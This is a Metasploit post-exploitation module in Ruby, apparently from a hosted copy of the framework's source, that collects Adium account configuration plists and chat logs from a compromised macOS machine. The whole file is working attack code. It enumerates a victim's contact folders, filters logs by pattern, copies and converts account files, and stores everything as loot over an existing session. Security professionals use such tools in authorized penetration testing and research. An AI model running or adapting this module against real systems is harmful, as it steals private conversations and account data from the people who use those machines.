Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_adium.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Gather Adium Enumeration',14'Description' => %q{15This module will collect Adium's account plist files and chat logs from the16victim's machine. There are three different actions you may choose: ACCOUNTS,17CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex18'PATTERN' option in order to look for certain log names (which consists of a19contact's name, and a timestamp). The current 'PATTERN' option is configured to20look for any log created on February 2012 as an example. To loot both account21plists and chat logs, simply set the action to 'ALL'.22},23'License' => MSF_LICENSE,24'Author' => [ 'sinn3r'],25'Platform' => [ 'osx' ],26'SessionTypes' => [ 'meterpreter', 'shell' ],27'Actions' => [28['ACCOUNTS', { 'Description' => 'Collect account-related plists' } ],29['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],30['ALL', { 'Description' => 'Collect both account plists and chat logs' }]31],32'DefaultAction' => 'ALL'33)34)3536register_options(37[38OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '\(2012\-02\-.+\)\.xml$']),39]40)41end4243#44# Parse a plst file to XML format:45# http://hints.macworld.com/article.php?story=2005043010512639246#47def plutil(filename)48exec("plutil -convert xml1 #{filename}")49data = exec("cat #{filename}")50return data51end5253#54# Collect logs files.55# Enumerate all the xml files (logs), filter out the ones we want, and then56# save each in a hash.57#58def get_chatlogs(base)59base = "#{base}Logs/"6061#62# Find all the chat folders for all the victim's contacts and groups63#64print_status("#{@peer} - Gathering folders for chatlogs...")65targets = []66dir(base).each do |account|67dir("#{base}#{account}/").each do |contact|68# Use 'find' to enumerate all the xml files69base_path = "#{base}#{account}/#{contact}"70logs = exec("find #{base_path} -name *.xml").split("\n")71next if logs =~ /No such file or directory/7273# Filter out logs74filtered_logs = []75logs.each do |log|76next unless log =~ datastore['PATTERN']7778# For debugging purposes, we print all the matches79vprint_status("Match: #{log}")80filtered_logs << log81end8283targets << {84account: account,85contact: contact,86log_paths: filtered_logs87}88end89end9091#92# Save all the logs to a folder93#94logs = []95targets.each do |target|96log_size = target[:log_paths].length97contact = target[:contact]98account = target[:account]99100# Nothing was actually downloaded, skip this one101next if log_size == 0102103print_status("#{@peer} - Looting #{log_size} chats with #{contact} (#{account})")104target[:log_paths].each do |log|105log = "\"#{log}\""106data = exec("cat #{log}")107logs << {108account: account,109contact: contact,110data: data111}112# break113end114end115116return logs117end118119#120# Get AccountPrefs.plist, Accounts.plist, AccountPrefs.plist.121# Return: [ {:filename=> String, :data => String} ]122#123def get_account_info(base)124files = [ 'Account\\ Status.plist', 'Accounts.plist', 'AccountPrefs.plist' ]125loot = []126127files.each do |file|128#129# Make a copy of the file we want to convert and steal130#131fpath = "#{base}#{file}"132rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"133tmp = exec("cp #{fpath} #{rand_name}")134135if tmp =~ /No such file or directory/136print_error("#{@peer} - Not found: #{fpath}")137next138end139140#141# Convert plist to xml142#143print_status("#{@peer} - Parsing: #{file}")144xml = plutil(rand_name)145146#147# Save data, and then clean up148#149if xml.empty?150print_error("#{@peer} - Unalbe to parse: #{file}")151else152loot << { filename: file, data: xml }153exec("rm #{rand_name}")154end155end156157return loot158end159160#161# Do a store_root on all the data collected.162#163def save(type, data)164case type165when :account166data.each do |e|167e[:filename] = e[:filename].gsub(/\\ /, '_')168p = store_loot(169'adium.account.config',170'text/plain',171session,172e[:data],173e[:filename]174)175176print_good("#{@peer} - #{e[:filename]} stored as: #{p}")177end178179when :chatlogs180data.each do |e|181account = e[:account]182contact = e[:contact]183data = e[:data]184185p = store_loot(186'adium.chatlog',187'text/plain',188session,189data,190contact191)192193print_good("#{@peer} - #{contact}'s (#{account}) chat log stored as: #{p}")194end195196end197end198199#200# Get current username201#202def whoami203exec('/usr/bin/whoami')204end205206#207# Return an array or directory names208#209def dir(path)210subdirs = exec("ls -l #{path}")211return [] if subdirs =~ /No such file or directory/212213items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten214return items215end216217#218# This is just a wrapper for cmd_exec(), except it chomp() the output,219# and retry under certain conditions.220#221def exec(cmd)222out = cmd_exec(cmd).chomp223rescue ::Timeout::Error => e224vprint_error("#{@peer} - #{e.message} - retrying...")225retry226rescue EOFError => e227vprint_error("#{@peer} - #{e.message} - retrying...")228retry229end230231#232# We're not sure the exact name of the folder becuase it contains a version number.233# We'll just check every folder name, and whichever contains the word "Adium",234# that's the one we'll use.235#236def locate_adium(base)237dir(base).each do |folder|238m = folder.match(/(Adium \d+\.\d+)$/)239if m240m = m[0].gsub(/\x20/, '\\\\ ') + '/'241return "#{base}#{m}"242end243end244245return nil246end247248def run249#250# Make sure there's an action name before we do anything251#252if action.nil?253print_error('Please specify an action')254return255end256257@peer = "#{session.session_host}:#{session.session_port}"258user = whoami259260#261# Check adium. And then set the default profile path262#263base = "/Users/#{user}/Library/Application\\ Support/"264adium_path = locate_adium(base)265if adium_path266print_status("#{@peer} - Found adium: #{adium_path}")267adium_path += 'Users/Default/'268else269print_error("#{@peer} - Unable to find adium, will not continue")270return271end272273#274# Now that adium is found, let's download some stuff275#276account_data = get_account_info(adium_path) if action.name =~ /ALL|ACCOUNTS/i277chatlogs = get_chatlogs(adium_path) if action.name =~ /ALL|CHATS/i278279#280# Store what we found on disk281#282save(:account, account_data) if !account_data.nil? && !account_data.empty?283save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?284end285end286287=begin288Adium:289/Users/[username]/Library/Application\ Support/Adium\ 2.0/290=end291292293